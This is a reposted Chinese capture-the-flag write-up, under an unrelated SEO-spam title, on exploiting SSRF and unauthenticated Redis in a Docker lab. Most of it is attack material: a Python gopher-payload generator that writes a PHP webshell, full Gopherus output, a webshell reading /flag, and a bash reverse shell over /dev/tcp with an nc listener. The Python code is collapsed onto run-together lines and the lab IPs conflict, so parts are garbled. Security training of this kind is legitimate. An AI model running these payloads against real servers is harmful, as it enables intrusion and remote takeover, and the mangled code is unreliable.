您的位置:首页 > 文旅 > 旅游 > 衡阳百度推广_网站建设那个好_传智播客培训机构官网_快速优化seo软件

衡阳百度推广_网站建设那个好_传智播客培训机构官网_快速优化seo软件

2025/4/23 20:32:46 来源:https://blog.csdn.net/weixin_74984440/article/details/147321529  浏览:    关键词:衡阳百度推广_网站建设那个好_传智播客培训机构官网_快速优化seo软件
衡阳百度推广_网站建设那个好_传智播客培训机构官网_快速优化seo软件

环境搭建

在本次实验中,我们使用 Docker 环境进行测试。

解压实验包,搭建 docker 环境。

docker环境

web的dockerfile 

主要利用代码 :

redis服务器 

通过 docker-compose up -d 启动相关容器,初次启动失败。

发现 docker 版本问题,删除 docker 版本 3,并尝试重新拉取 Ubuntu 16.04 版本:

docker pull ubuntu:16.04
重新启动后,环境成功搭建,获取内网 IP。

发现内网存活主机

使用phpinfo来看内网IP地址

我们使用抓包工具检测内网存活主机,发现 172.18.0.2 存在 HTTP 服务,并返回 Go away 

 

扫描内网端口

使用 burpsuite 对 172.18.0.2 进行端口扫描,发现 6379 端口返回 Redis 报错信息,说明目标主机上运行着 Redis 服务,并且可能存在未授权访问漏洞。

利用 Redis 未授权访问进行 Webshell 写入


步骤1:生成 payload
方式1:使用python生成 payload

我们利用 Redis 服务器的 config set dir 和 config set dbfilename 进行 Webshell 写入。

Python 脚本生成 gopher 协议 payload,用于 SSRF 发送 Redis 命令:

import urllib
protocol="gopher://"
ip="172.22.0.2"    # 运行着 redis 的内网主机 IP
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="web.php"
path="/var/www/html/upload"
passwd=""
cmd=["flushall","set 1 {}".format(shell.replace(" ","${IFS}")),"config set dir {}".format(path),"config set dbfilename {}".format(filename),"save"]
if passwd:cmd.insert(0,"AUTH {}".format(passwd))payload=protocol+ip+":"+port+"/_"def redis_format(arr):CRLF="\r\n"redis_arr = arr.split(" ")cmd=""cmd+="*"+str(len(redis_arr))for x in redis_arr:cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")cmd+=CRLFreturn cmdif __name__=="__main__":for x in cmd:payload += urllib.quote(redis_format(x))print(payload)
方式二:使用 Gopher 工具

 GitHub 下载地址:Gopherus

该工具使用 Python2,生成 gopher payload。

sudo apt update
sudo apt install python2 python2-dev
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
python2 get-pip.py
# 下载并解压后运行 install.sh
./install.sh

 

生成paload

root@lll-virtual-machine:/home/Gopherus-master# gopherus --exploit redis________              .__/  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \\______  /\____/|   __/|___|  /\___  >__|  |____//____  >\/       |__|        \/     \/                 \/author: $_SpyD3r_$Ready To get SHELLWhat do you want?? (ReverseShell/PHPShell): PHPShell #木马语言Give web root location of server (default is /var/www/html): /var/www/html/upload #上传路径
Give PHP Payload (We have default PHP Shell): <?php system('cat /flag') ?> #一句话木马Your gopher link is Ready to get PHP Shell: gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%27cat%20/flag%27%29%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0AWhen it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter. 
-----------Made-by-SpyD3r-----------
步骤 2:写入 Webshell(木马)

接下来我们将生成后的payload进行二次编码

访问 

Redis 执行后,会在 /var/www/html/upload 目录生成 shell.php,其中包含 webshell 代码。

骤 3:访问 Webshell 获取 flag

成功写入 web.php,使用 SSRF 访问它:

/?url=http://172.18.0.2/upload/web.php

 Webshell 内容:

<?php system("cat /flag");?>

访问 web.php 后即可获取 flag

反弹 Shell 获取完整权限

如果我们希望获取完整的交互式 Shell,可以利用 bash 反弹 Shell 技术。

步骤 1:修改 payload 生成反弹 Shell

我们修改 shell 代码,使其反弹 Shell:

<?php system("bash -c 'exec bash -i >& /dev/tcp/IP/端口 0>&1'");?>
步骤 2:监听端口

在本机开启 nc 监听

nc -lvnp 4444
步骤 3:触发反弹 Shell

访问:

/?url=http://172.17.0.2/upload/web.php

成功获得 bash 交互式 Shell,即可进一步提权、查找 flag

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com